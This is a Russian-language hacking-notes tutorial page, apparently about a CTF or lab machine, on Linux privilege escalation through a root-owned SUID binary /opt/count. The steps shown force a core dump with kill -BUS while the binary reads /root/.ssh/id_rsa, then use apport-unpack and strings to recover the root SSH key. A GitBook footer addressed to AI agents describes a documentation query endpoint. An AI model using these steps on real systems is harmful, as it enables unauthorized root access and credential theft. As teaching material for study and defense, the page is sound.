> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID Core Dump /opt/count — повышение привилегий в Linux

## Что это такое

SUID-бинарники выполняются с привилегиями своего владельца, часто root. Уязвимый, устаревший или слишком гибкий SUID-бинарник может читать защищённые файлы, запускать оболочку с повышенными привилегиями или выполнять код, контролируемый атакующим. Эта конкретная страница посвящена **SUID - дамп памяти (/opt/count)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Примеры

Используйте следующую команду, чтобы найти привилегии SUID, доступные нашему пользователю:

```bash
find / -perm -4000 2>/dev/null
```

Мы находим редкий файл, расположенный в `/opt/count`, принадлежащий `root`.

<figure><img src="/files/017d05cb1b2216ac63601ada645e062110990719" alt=""><figcaption></figcaption></figure>

Когда этот бинарный файл запускается, он запрашивает файл, затем выводит общее количество символов, слов и строк. Скрипт читает содержимое файла и отображает его свойства.

<figure><img src="/files/849250f162accf250bc458a0d6cbbec102c4f8b6" alt="" width="563"><figcaption></figcaption></figure>

### Бинарный файл Core Dump

Изучив исходный код, мы можем заметить, что создаётся дамп ядра, временно сохраняющий содержимое в случае ошибки.

<figure><img src="/files/9d58c275e9a07df9a0ab80e70540555a4b53703d" alt=""><figcaption></figcaption></figure>

Ошибки сохраняются в `/var/crash` каталог. Вот как создать core dump:

1. **Введите имя файла или каталога:**

   ```bash
   Введите имя исходного файла/каталога: /root/.ssh/id_rsa
   ```

   (SSH-ключ root)
2. \*\*Сохранить результаты в файл? \*\*

   ```css
   Сохранить результаты в файл? [y/N]: ^Z
   ```

   (Фоновый режим)
3. **Получите PID:**

   ```bash
   ps
   ```

   *(Скопируйте PID)*
4. **Завершите процесс:**

   ```bash
   kill -BUS 'PID'
   ```
5. **Перезапустите бинарный файл:**

   ```bash
   fg
   ```
6. **Проверьте каталог core dump:**

   ```bash
   ls -l /var/crash
   ```

   (Появляется новый файл: `_opt_count.1000.crash`)

<figure><img src="/files/c8fe9d193a1f4b91c28de457974b9e60f64c2aa8" alt=""><figcaption></figcaption></figure>

Теперь у нас есть дамп ядра в base64, содержащий корневой SSH-ключ.

<figure><img src="/files/847fbefab77ad2231230d498b6de9dadcd15c24c" alt=""><figcaption></figcaption></figure>

### apport-unpack

Чтобы извлечь информацию, мы используем `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Затем мы выведем содержимое файла в `/tmp/ssh/coredump` используя `strings`:

<figure><img src="/files/0bcbadc62993e6898915224a842f062fd3d3c347" alt=""><figcaption></figcaption></figure>

Мы находим SSH-ключ root

<figure><img src="/files/fd400123a1e4e252cff38836a2a406dcba4850a8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
